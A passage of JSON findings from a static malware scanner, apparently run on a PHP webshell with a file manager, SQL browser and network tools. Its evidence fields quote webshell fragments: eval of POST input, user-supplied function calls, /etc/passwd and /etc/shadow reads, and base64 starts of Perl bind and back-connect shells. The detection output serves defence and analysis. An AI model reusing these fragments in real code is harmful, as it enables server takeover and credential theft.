"micro-behaviors/communications/http/server/listener::httpd-conf-path", "l": 3, "m": "C0002" }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 51.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "d": "overflow keyword", "e": [ "overflow" ], "i": "micro-behaviors/data/text/keywords/lexicon::overflow", "l": 1 }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via passthru()", "e": [ "passthru" ], "i": "micro-behaviors/process/create/shell/lang::passthru", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('safe_mode" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-1", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "IP Configuration" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11746", "l": 1 }, { "a": "T1110.001", "c": 0.20000000298023224, "d": "admin keyword", "e": [ "admin" ], "i": "micro-behaviors/data/text/keywords/username::admin-keyword", "l": 2, "m": "B0028" }, { "a": "T1105", "c": 0.8500000238418579, "d": "File upload access ($_FILES)", "e": [ "$_FILES" ], "i": "micro-behaviors/communications/http/request/params::files", "l": 3 }, { "c": 0.800000011920929, "d": "Detects PHP rename file recreation call", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-rename-call", "l": 1 }, { "c": 0.949999988079071, "d": "Disables error reporting (error_reporting(0))", "e": [ "error_reporting(0)" ], "i": "micro-behaviors/os/stdio::error-reporting-off", "l": 3 }, { "a": "T1027.010", "c": 0.9300000071525574, "d": "chr(hexdec(...)) custom hex decoder (obfuscation)", "e": [ "chr(hexdec(" ], "i": "objectives/anti-static/obfuscation/encoding/hex::hexdec-chr-decode", "l": 4, "m": "B0032" }, { "c": 0.800000011920929, "d": "Writes data to an open file", "e": [ "fwrite" ], "i": "micro-behaviors/fs/write/file/direct::fwrite", "l": 3, "m": "C0052" }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "c": 0.6000000238418579, "d": "Generates HTML tags", "e": [ "\u003chtml", "\u003chead\u003e" ], "i": "micro-behaviors/data/format/html::html-generator-tags", "l": 3 }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('passthru" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-2", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "HTTP/1.0 protocol version", "e": [ "HTTP/1.0 404 Not Found" ], "i": "micro-behaviors/communications/http/protocol::http-1-0-header", "l": 2 }, { "c": 0.699999988079071, "d": "MD5 hash computation", "e": [ "md5" ], "i": "micro-behaviors/crypto/hash/digest::md5-php", "l": 3, "m": "C0029" }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "eval", "$_POST['p1']" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ ".bash_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-7", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "c": 0.30000001192092896, "d": "stdout string reference", "e": [ "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e" ], "i": "micro-behaviors/process/fd/stdio::stdout-string", "l": 2 }, { "a": "T1505.003", "c": 0.8199999928474426, "d": "Content-Disposition download response", "e": [ "Content-Disposition: attachment; filename" ], "i": "objectives/command-and-control/backdoor/webshell/stager::content-disposition-download", "l": 1 }, { "c": 1.0, "d": "PHP scandir function symbol", "e": [ "scandir" ], "i": "micro-behaviors/fs/enumerate/directory::php-scandir", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\r\n\u003ch1\u003eSql browser\u003c/h1\u003e\u003cdiv class=content\u003e\r\n\u003cform name='sf' method='post' onsubmit='fs(this);'\u003e\u003ctable cellpadding='2' cellspacing", " password=", "host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname", "\u003cpre align=center\u003e\u003cbr\u003e\u003cbr\u003e\u003cform method=post\u003e\u003cinput type=password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-6", "l": 1 }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "hashcrack" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-20", "l": 1, "m": "B0030" }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads open_basedir setting", "e": [ "ini_get('open_basedir" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-open-basedir", "l": 4, "m": "B0032" }, { "d": "CREATE TABLE SQL keyword", "e": [ "CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/sql::sql-create-table", "l": 3 }, { "c": 1.0, "d": "PHP unlink function symbol", "e": [ "unlink" ], "i": "micro-behaviors/fs/delete/file::php-unlink", "l": 3 }, { "a": "T1565.001", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "download" ], "i": "objectives/evasion/hosts-file/block-security::escan-security-domain--rx-1", "l": 1, "m": "F0004" }, { "c": 1.0, "d": "exploit-db.com domain", "e": [ "exploit-db.com" ], "i": "micro-behaviors/data/text/security/threat-intel::exploit-db-domain", "l": 1 }, { "a": "T1217", "c": 0.4000000059604645, "d": "Yandex browser name", "e": [ "Yandex" ], "i": "objectives/discovery/host/browser::yandex-name", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via shell_exec()", "e": [ "shell_exec" ], "i": "micro-behaviors/process/create/shell/lang::shell-exec", "l": 3, "m": "E1059" }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "a": "T1090", "c": 0.8500000238418579, "d": "Server-side request forgery fetch pattern", "e": [ "curl_init(\"file://\".$_POST['p2'].\"\\x00\".preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__))" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::ssrf-pattern", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "HOST" ], "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ ".mysql_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-8", "l": 1, "m": "B0030" }, { "c": 0.75, "d": "HTTP protocol version strings", "e": [ "HTTP/1.0" ], "i": "micro-behaviors/communications/http/request/client::http-versions", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "/etc/passwd" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-6", "l": 1, "m": "B0030" }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "output" ], "i": "micro-behaviors/data/text/keywords/lexicon::output", "l": 1 }, { "c": 0.8500000238418579, "d": "ActiveXObject usage (JScript/VBScript)", "e": [ "ActiveXObject(" ], "i": "objectives/command-and-control/dropper/builder::activex-object-dup", "l": 1 }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "User input used as function (GET/POST/REQUEST)", "e": [ "$_POST['p1']($_POST['p2'])", "htmlspecialchars($_POST['p1']($_POST['p2']))" ], "i": "objectives/command-and-control/backdoor/webshell/obf-dispatch::dynamic-user-input-call-1", "l": 4, "m": "B0030" }, { "c": 0.75, "d": "PHP MySQL UTF8 charset selection", "e": [ "mysql_set_charset" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-set-charset", "l": 3 }, { "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "ia_archiver" ], "i": "objectives/anti-analysis/browser-detect::bot-ua-list--rx-4", "l": 1 }, { "c": 0.800000011920929, "d": "SHOW schema administration queries", "e": [ "SHOW TABLES", "SHOW CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/mysql::mysql-show-admin-sql", "l": 3 }, { "a": "T1584", "c": 1.0, "d": "PHP dynamic curl_exec call from lookup table", "e": [ "curl_exec(" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-dynamic-curl-exec", "l": 2 }, { "c": 0.8399999737739563, "d": "password/token/api_key field keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/credential::credential-field", "l": 1 }, { "a": "T1059.004", "c": 0.8500000238418579, "d": "Shell stderr redirected to stdout", "e": [ " 2\u003e\u00261" ], "i": "micro-behaviors/process/create/shell/lang::shell-stderr-redirect", "l": 3, "m": "E1059" }, { "c": 0.800000011920929, "d": "Resolve GID to group (posix_getgrgid)", "e": [ "posix_getgrgid", "posix_getgrgid" ], "i": "micro-behaviors/os/group/lookup::posix-getgrgid", "l": 3 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_POST parameter access", "e": [ "$_POST[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-post", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "CSV attachment filename response", "e": [ "Content-Disposition: attachment; filename" ], "i": "micro-behaviors/data/format/csv/http-telemetry::csv-attachment-filename", "l": 1 }, { "c": 0.8999999761581421, "d": "HTTP protocol prefix", "e": [ "http://" ], "i": "micro-behaviors/communications/http/protocol::http-prefix", "l": 2 }, { "c": 0.8199999928474426, "d": "Detects overwrite-mode file open", "e": [ "fopen($_POST['p1'], 'w'" ], "i": "objectives/impact/infect/script::php-overwrite-file-mode", "l": 1 }, { "c": 1.0, "d": ".cmd extension", "e": [ ".cmd" ], "i": "metadata/file/extension::cmd-ext", "l": 1 }, { "c": 0.800000011920929, "d": "PHP mysql_select_db database selection", "e": [ "mysql_select_db" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-select-db", "l": 3 }, { "c": 0.800000011920929, "d": "URL parameter fetched and executed", "e": [ "fopen($_POST['p1'], \"r\")", "fopen($_POST['file'], 'w')", "file_get_contents($_POST['p1'])", "fopen($_POST['p1'],\"w\")", "curl_init(\"file://\".$_POST['p2'].\"\\x00\".preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__))", "strpos(@file_get_contents($item), @$_POST['p2'])", "fopen($_POST['p1'], 'r')", "fopen($_POST['p1'], 'w')" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch", "l": 4, "m": "B0030" }, { "d": "INSERT INTO SQL keyword", "e": [ "INSERT INTO" ], "i": "micro-behaviors/data/db/conn/sql::sql-insert", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "User Accounts", "Account Settings", "User accounts", "net accounts" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11753", "l": 1 }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@define('TuX_VERSION', '666.9')", "@session_start()", "@$_POST['p1']", "@set_magic_quotes_runtime(0)", "@chdir($_POST['c'])", "@ini_get('disable_functions')", "@set_time_limit(0)", "@ini_set('log_errors',0)", "@ini_set('max_execution_time',0)", "@$_POST['p2']", "@$_POST['a']", "@ini_set('error_log',NULL)", "@getcwd()", "@$_POST['charset']", "@ini_get('safe_mode')" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP POST parameter access ($_POST)", "e": [ "$_POST" ], "i": "micro-behaviors/communications/http/request/params::post-dup", "l": 3 }, { "c": 0.4000000059604645, "d": "exploit keyword", "e": [ "exploit" ], "i": "micro-behaviors/data/text/keywords/lexicon::exploit", "l": 1 }, { "a": "T1082", "c": 0.699999988079071, "d": "Gets effective UID of current process", "e": [ "posix_geteuid" ], "i": "objectives/discovery/system/fingerprint/info::posix-geteuid", "l": 3, "m": "E1082" }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('exec" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-1", "l": 1, "m": "B0032" }, { "c": 0.699999988079071, "d": "PHP object serialization", "e": [ "serialize" ], "i": "micro-behaviors/data/serialize/object::serialize", "l": 3 }, { "a": "T1505.003", "c": 1.0, "d": "Inequality check in WordPress user list", "e": [ "!=" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait", "l": 1, "m": "B0030" }, { "a": "T1105", "c": 0.8500000238418579, "d": "Moves uploaded PHP file", "e": [ "move_uploaded_file" ], "i": "micro-behaviors/fs/write/file/direct::move-uploaded-file", "l": 3, "m": "C0052" }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1110", "c": 0.8500000238418579, "d": "Brute force attack reference", "e": [ "Bruteforce", "bruteforce" ], "i": "objectives/discovery/network/scan/port::brute-force-ref", "l": 4, "m": "E1046" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads safe_mode setting", "e": [ "ini_get('safe_mode" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-safe-mode", "l": 4, "m": "B0032" }, { "d": ".cmd extension reference", "e": [ ".cmd" ], "i": "micro-behaviors/fs/path/extension::cmd-dup", "l": 2 }, { "c": 0.699999988079071, "d": "Remove execution time limit", "e": [ "set_time_limit" ], "i": "micro-behaviors/process/control/signal::set-time-limit", "l": 3 }, { "c": 0.800000011920929, "d": "Combined stdout+stderr redirect to /dev/null", "e": [ "\u003e/dev/null 2\u003e\u00261" ], "i": "micro-behaviors/os/console/io::null-redirect-stdout-stderr", "l": 3 }, { "a": "T1046", "c": 0.6000000238418579, "d": "FTP port number (21)", "e": [ "connect($ip, $port?$port:21" ], "i": "objectives/discovery/network/scan/port::port-number-ftp", "l": 1, "m": "E1046" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "exec($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account mysql", "e": [ "mysql" ], "i": "objectives/lateral-movement/brute-force/password::service-account-mysql", "l": 1, "m": "E1110" }, { "c": 0.4000000059604645, "d": "XMLHttpRequest API reference", "e": [ "XMLHttpRequest" ], "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-word", "l": 3 }, { "c": 0.6000000238418579, "d": "Base64-encoded HTTP protocol fragment", "e": [ "aHR0cDovL" ], "i": "objectives/exfiltration/oob/endpoint::http-b64", "l": 1 }, { "a": "T1059.004", "c": 0.6000000238418579, "d": "References /bin/sh (Bourne shell)", "e": [ "\u003ch1\u003eNetwork tools\u003c/h1\u003e\u003cdiv class=content\u003e\r\n\t\u003cform name='nfp' onSubmit=\\\"g(null,null,'bpp',this.port.value);return false;\\\"\u003e\r\n\t\u003cs", "\u003e\r\n\t\u003cspan\u003eBind port to /bin/sh [perl]\u003c/span\u003e\u003cbr/\u003e\r\n\tPort: \u003cinput type='text' name='port' value='31337'\u003e \u003cinput type=submit value" ], "i": "micro-behaviors/process/create/shell/invoke::bin-sh", "l": 3, "m": "E1059.004" }, { "c": 0.699999988079071, "d": "python interpreter keyword (beyond shebang)", "e": [ "python" ], "i": "micro-behaviors/process/interpreter/python::python-keyword", "l": 3 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches alt exec functions", "e": [ "passthru($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-alt", "l": 3, "m": "E1059" }, { "c": 0.800000011920929, "d": "Hardcoded loopback IPv4 address", "e": [ "\"127.0.0.1\"" ], "i": "micro-behaviors/communications/ip/literal::loopback-ipv4-source", "l": 2 }, { "a": "T1082", "c": 0.6000000238418579, "d": "Linux platform detection marker", "e": [ "Linux Kernel ", "Linux", "list file attributes on a Linux second extended file system" ], "i": "objectives/discovery/system/fingerprint/os::os-check-linux", "l": 2, "m": "B0012" }, { "a": "T1033", "c": 0.800000011920929, "d": "/etc/passwd user database", "e": [ "/etc/passwd" ], "i": "micro-behaviors/fs/path/config/accounts::etc-passwd", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "multipart/form-data content type", "e": [ "multipart/form-data" ], "i": "micro-behaviors/communications/http/post::multipart-form", "l": 1, "m": "C0002" }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_POST['p1']", "$_POST['pass']", "$_POST['c']", "$_POST['p2']", "$_POST['p3']", "$_POST['charset']", "$_POST['a']" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "c": 0.8500000238418579, "d": "Checks User-Agent for crawler detection", "e": [ "$_SERVER['HTTP_USER_AGENT']" ], "i": "objectives/anti-analysis/browser-detect::check-ua-server-var", "l": 3 }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy", "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RF" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "c": 0.8999999761581421, "d": "netstat command", "e": [ "netstat" ], "i": "micro-behaviors/os/network/status::netstat", "l": 3 }, { "a": "T1071.001", "d": "listen() socket call", "e": [ "listen" ], "i": "micro-behaviors/communications/http/server/listener::listen-keyword", "l": 3, "m": "C0002" }, { "c": 0.699999988079071, "d": "perl interpreter keyword (beyond shebang)", "e": [ "perl" ], "i": "micro-behaviors/process/interpreter/perl::perl-keyword", "l": 3 }, { "c": 0.8999999761581421, "d": "/etc/shadow password file access", "e": [ "/etc/shadow" ], "i": "micro-behaviors/os/privilege/paths::etc-shadow", "l": 3 }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "password name=pass" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "a": "T1082", "c": 0.6000000238418579, "d": "Windows platform detection marker", "e": [ "Windows-1251" ], "i": "objectives/discovery/system/fingerprint/os::os-check-windows", "l": 2, "m": "B0012" }, { "c": 0.949999988079071, "d": "Falls back through multiple PHP execution functions", "e": [ "passthru", "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::php-execution-fallback-chain", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "Payload includes file management features (upload, list, delete)", "e": [ "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RF", "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy", "move_uploaded_file", "unlink", "scandir" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-file-manager-payload", "l": 4 }, { "a": "T1562.001", "c": 0.800000011920929, "d": "Reads multiple PHP security restrictions", "e": [ "ini_get('open_basedir", "ini_get('safe_mode", "ini_get('disable_functions" ], "i": "objectives/evasion/security-bypass/runtime::security-restriction-probe", "l": 4, "m": "B0032" }, { "a": "T1070.004", "c": 1.0, "d": "Recursive directory cleanup in PHP", "e": [ "rmdir", "unlink", "scandir" ], "i": "objectives/evasion/self-delete/scripts::php-recursive-delete", "l": 4 }, { "c": 0.4000000059604645, "d": "Multiple standard I/O references", "e": [ "stderr_to_out", "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e" ], "i": "micro-behaviors/process/fd/stdio::stdio-refs", "l": 2 }, { "c": 0.800000011920929, "d": "Account configuration file access", "e": [ "/etc/passwd", "/etc/shadow" ], "i": "micro-behaviors/fs/path/config/accounts::account-files", "l": 3 }, { "c": 0.8999999761581421, "d": "PHP MySQL administration surface", "e": [ "SHOW CREATE TABLE", "mysql_connect", "mysql_query", "SHOW TABLES" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-admin-surface", "l": 3 }, { "d": "SQL statement keywords", "e": [ "INSERT INTO", "CREATE TABLE", "SELECT datname FROM" ], "i": "micro-behaviors/data/db/conn/sql::sql-keywords", "l": 3 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP decoder eval webshell", "e": [ "$_POST", "eval(base64_decode(", "$_POST['p1']", "eval" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::php-decoder-eval-webshell", "l": 5, "m": "B0030" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "Stealthy file manager stager (uses error suppression)", "e": [ "@$_POST['a']", "@session_start()", "@getcwd()", "@$_POST['p2']", "@set_time_limit(0)", "@ini_set('max_execution_time',0)", "@ini_set('error_log',NULL)", "@ini_get('disable_functions')", "@$_POST['p1']", "@define('TuX_VERSION', '666.9')", "@chdir($_POST['c'])", "@$_POST['charset']", "@set_magic_quotes_runtime(0)", "@ini_set('log_errors',0)", "@ini_get('safe_mode')" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-stealthy-file-manager-stager", "l": 5 }, { "c": 0.8500000238418579, "d": "Logic to identify search engine crawlers", "e": [ "ia_archiver", "$_SERVER['HTTP_USER_AGENT']" ], "i": "objectives/anti-analysis/browser-detect::crawler-identification", "l": 3 }, { "c": 0.9200000166893005, "d": "Detects delete-and-recreate file pattern", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-unlink-recreate-pattern", "l": 3 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP administrative webshell UI", "e": [ "ini_get('disable_functions", "find . -type f", "netstat -an", "ini_get('safe_mode", ".mysql_history", "/etc/passwd", ".bash_history" ], "i": "objectives/command-and-control/backdoor/webshell/ui::php-admin-webshell-ui", "l": 5, "m": "B0030" }, { "a": "T1566.002", "c": 0.8500000238418579, "d": "PHP script writing POST data to local file", "e": [ "$_POST" ], "i": "objectives/credential-access/phishing/tactics::php-credential-exfiltration", "l": 4, "m": "B0030" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "a": "T1105", "c": 0.8500000238418579, "d": "ClickFix copy-paste action word", "e": [ "open" ], "i": "objectives/command-and-control/dropper/execution/browser::clickfix-lure-action-word", "l": 1, "m": "B0024" }, { "a": "T1555", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "encoded" ], "i": "objectives/credential-access/wallet/solana::solana-secretkey-json-field--rx-11", "l": 1 }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "XMLHTTP status 200 check", "e": [ "req.status == 200" ], "i": "objectives/command-and-control/dropper/execution/string-reconstruct::xmlhttp-status-200-check", "l": 1 }, { "c": 0.949999988079071, "d": "eval/Function call inside flatted-shaped file", "e": [ "eval(" ], "i": "well-known/lib/flatted::flatted-tamper-eval", "l": 1 }, { "a": "T1071.001", "c": 0.75, "d": "XMLHttpRequest network client creation", "e": [ "new XMLHttpRequest()" ], "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-new", "l": 3, "m": "C0002" }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "WebSocket sends data to peer", "e": [ ".send(" ], "i": "micro-behaviors/communications/websocket/server::websocket-send", "l": 3, "m": "C0002" }, { "a": "T1202", "c": 0.800000011920929, "d": "new ActiveXObject pattern", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/activex/com::activex-object-create-literal", "l": 3, "m": "E1243" }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Low string density base64 context", "e": [ "text.string_density = 0.44", "text.string_density = 0.30", "text.string_density = 0.50" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-low-string-density", "l": 1, "m": "B0032" }, { "a": "T1195.002", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "none" ], "i": "objectives/supply-chain/hidden-payload/extensions/browser::hidden-zero-iframe--rx-7", "l": 1 }, { "a": "T1552.001,T1082,T1041", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "Content-Type" ], "i": "objectives/supply-chain/recon-exfil/npm::npm-profile-json-post--rx-21", "l": 1 }, { "c": 1.0, "d": "Regex component marker", "e": [ "onreadystatechange = processReqChange;", "d = document;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "a": "T1195.002", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "display" ], "i": "objectives/supply-chain/hidden-payload/extensions/browser::hidden-zero-iframe--rx-2", "l": 1 }, { "a": "T1552.001,T1082,T1041", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "error" ], "i": "objectives/supply-chain/recon-exfil/npm::console-output-silenced--rx-3", "l": 1 }, { "a": "T1059", "c": 0.800000011920929, "d": "child_process exec reference", "e": [ "exec(" ], "i": "objectives/command-and-control/reverse-shell/socket::exec-function", "l": 1 }, { "c": 1.0, "d": "ADODB.Stream Open method call", "e": [ ".open(" ], "i": "micro-behaviors/fs/write/stream::adodb-open", "l": 1 }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "send" ], "i": "objectives/command-and-control/remote-command/protocol::websocket-host-env-send--rx-12", "l": 1 }, { "c": 1.0, "d": "DOM or CSS size property", "e": [ "width" ], "i": "micro-behaviors/ui/window/manage/dom::size-prop", "l": 1 }, { "c": 0.8999999761581421, "d": "ActiveXObject instantiation call", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/interpreter/script/wsh::activexobject-call", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "lica" ], "i": "objectives/execution/interpreter/scripting/host::shell-application-split-join--rx-5", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "body" ], "i": "objectives/command-and-control/dropper/delivery/fetch-eval::new-function-variable-body--rx-7", "l": 1 }, { "c": 1.0, "d": "ActiveXObject string presence", "e": [ "ActiveXObject" ], "i": "micro-behaviors/process/interpreter/jscript::activex-object", "l": 3 }, { "c": 0.949999988079071, "d": "Network primitive in flatted-shaped file", "e": [ "XMLHttpRequest" ], "i": "well-known/lib/flatted::flatted-tamper-network", "l": 1 }, { "c": 0.699999988079071, "d": "eval() function call (raw)", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::js-eval-raw", "l": 3 }, { "c": 1.0, "d": "Tiny XMLHTTP fragment (variant 2)", "e": [ ".XMLHT" ], "i": "objectives/execution/interpreter/script/wsh-fragments::xmlhttp-fragment-tiny-2", "l": 1 }, { "c": 0.699999988079071, "d": "Access to HTTP response body (.responseText)", "e": [ ".responseText" ], "i": "micro-behaviors/communications/http/client/response-body::response-text", "l": 3 }, { "c": 0.699999988079071, "d": "Small file under 5KB", "e": [ "dbf6319cca80e0f2a2d225ada83fbab0##plain@0x1b5f", "dbf6319cca80e0f2a2d225ada83fbab0##plain@0x1e6b", "dbf6319cca80e0f2a2d225ada83fbab0##plain@0x1e6c", "dbf6319cca80e0f2a2d225ada83fbab0##plain@0x1b5e" ], "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k", "l": 1 }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "eval() with call expression argument", "e": [ "eval", "arr[2].substr(0, arr[1])" ], "i": "objectives/execution/interpreter/eval/dynamic::eval-call-expression-arg", "l": 3 }, { "a": "T1059.007", "c": 0.9399999976158142, "d": "eval() executing transformed code", "e": [ "eval", "eval", "arr[2].substr(0, arr[1])" 